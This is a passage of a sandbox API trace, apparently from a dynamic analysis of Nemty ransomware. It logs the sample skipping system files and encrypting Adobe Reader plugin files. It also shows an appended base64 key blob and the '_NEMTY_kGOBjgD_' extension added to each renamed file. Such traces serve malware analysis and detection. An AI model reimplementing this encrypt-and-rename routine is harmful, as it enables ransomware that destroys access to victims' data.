Size=0x40) returned 0x6345e38 [0191.301] GetLastError () returned 0x0 [0191.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.301] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.301] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.301] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.301] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="Hn1Vm7PdrJFob9m0bJNnkTi8Yp1d+TA20vviCNnKOB8DdbBIo7X+eiiCbYrlo21o\r\no7BCS7dFqbU4wlY1vcnXtdOquD2EOq5ycM1OZqknrzP3BPETTkkJLIWOQeJsHrtE\r\nNMRS6Ls10WFf8U3wf4dwxFGQeeUBDeXtfUUhbyPs8ER/edXS++PQeoxosXO91LLd\r\ndpUKelk+VhhkpsiiOR+2p9bszIPXVAHsVQ1wkfVJLIC4icXlFqg+G0AWsjUCz2dV\r\nqAElPzekAbUGhaTqRbh8WEXfrablSh0KUmY0kCbaFGQwORv56KrsV5cyQNYlr9ZN\r\n+JJNwG0OP/le6vlvOOcZWg==\r\n", pcchString=0x653e29c) returned 1 [0191.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.302] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.302] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.302] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.303] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.303] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.304] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.304] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.304] CloseHandle (hObject=0x2f0) returned 1 [0191.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.304] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.deu._nemty_kgobjgd_")) returned 1 [0191.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.305] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.ESP", cAlternateFileName="QUICKT~1.ESP")) returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2=".") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="..") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="...") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="windows") returned -1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="$RECYCLE.BIN") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="rsa") returned -1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="NTDETECT.COM") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="ntldr") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="MSDOS.SYS") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="IO.SYS") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="boot.ini") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="boot.ini") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="ntuser.dat") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="desktop.ini") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="CONFIG.SYS") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="RECYCLER") returned -1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="BOOTSECT.BAK") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="bootmgr") returned 1 [0191.305] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="programdata") returned 1 [0191.306] lstrcmpiW (lpString1="QuickTime.ESP", lpString2="appdata") returned 1 [0191.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ESP", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.ESP", lpUsedDefaultChar=0x0) returned 13 [0191.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ESP", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.ESP", lpUsedDefaultChar=0x0) returned 13 [0191.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ESP", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.ESP", lpUsedDefaultChar=0x0) returned 13 [0191.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ESP", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.ESP", lpUsedDefaultChar=0x0) returned 13 [0191.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.306] Sleep (dwMilliseconds=0x5) [0191.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ae23b0, dwHighDateTime=0x1d561e8)) [0191.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ae23b0, dwHighDateTime=0x1d561e8)) [0191.316] GetLastError () returned 0x0 [0191.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.316] GetLastError () returned 0x0 [0191.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.316] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.316] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.317] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.317] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="tsJtOMlE3EG0PJhT47vO+ZAPEk/3mOE4POJNTNj5KGFEpG7FBHAQjwNOSTBXxId8\r\nrUoKdZjRSmGfTRCVVC7bi7baA8YvzpgFNf1aYSBtXD8jOD3x2F3pynmBmN61/wAO\r\nhUash5G7EBewFhEnvTboniGl3QXfD0ZWElZVMge7o1ekk/0ZPg+V1tJuIpDnO6oI\r\nt+texMdTDHlfxSfCCquHf0umb6Zvashi6SH43MMXGNLceqQxS+ka/uyQIjHlyaQy\r\nyyQSCH7n8H8nObLJYsyKDsIgqCBPvthKqtfy140JZ0PpOlmTs53usQR+8heMzKw0\r\nog1QqZQu6ZUADdy/XgaJVQ==\r\n", pcchString=0x653e29c) returned 1 [0191.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.317] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.317] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.317] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.319] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.319] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.319] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.319] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.319] CloseHandle (hObject=0x2f0) returned 1 [0191.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.320] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.esp._nemty_kgobjgd_")) returned 1 [0191.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.321] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.EUQ", cAlternateFileName="QUICKT~1.EUQ")) returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2=".") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="..") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="...") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="windows") returned -1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="rsa") returned -1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="NTDETECT.COM") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="ntldr") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="MSDOS.SYS") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="IO.SYS") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="boot.ini") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="boot.ini") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="ntuser.dat") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="desktop.ini") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="CONFIG.SYS") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="RECYCLER") returned -1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="bootmgr") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="programdata") returned 1 [0191.321] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2="appdata") returned 1 [0191.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.EUQ", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.EUQ", lpUsedDefaultChar=0x0) returned 13 [0191.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.EUQ", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.EUQ", lpUsedDefaultChar=0x0) returned 13 [0191.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.EUQ", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.EUQ", lpUsedDefaultChar=0x0) returned 13 [0191.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 